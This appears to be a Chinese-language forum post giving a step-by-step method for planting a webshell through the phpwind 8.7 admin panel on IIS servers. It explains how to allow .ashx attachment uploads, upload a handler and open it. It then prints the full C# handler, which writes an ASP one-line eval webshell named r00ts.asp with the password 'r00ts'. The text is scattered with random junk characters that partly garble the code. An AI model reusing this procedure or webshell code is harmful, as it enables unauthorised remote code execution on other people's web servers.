phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
. `1 S) n* i/ _1 h
: o3 u5 n# b; b群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
1 _- R! f+ l% M% f$ R) R
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
& {2 }4 i7 P, D
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
/ b2 o( h0 E# D
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
; ~  ^. n, B- n) t1 L1 a3 l2 R
下面是代码:

) F3 C& b$ Q# A" ^$ K* K<%@ WebHandler Language="C#"Class="Handler" %>
& D/ R" `1 Z$ V2 _. Tusing System;
using System.Web;
, W7 \$ P( S5 x5 V0 m. Y! Ausing System.IO;
2 }. v5 J( F3 k& c# Cpublic class Handler : IHttpHandler {
' v3 A' D) f1 ?public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
& {0 ~8 X) Y9 A) L3 wfile1.Close();
}
public bool IsReusable {
8 [4 y) n# s$ p4 |) rget {
return false;
}
( Y) p" y0 t2 s( H6 d}
+ j0 P. j3 E* ], U' K}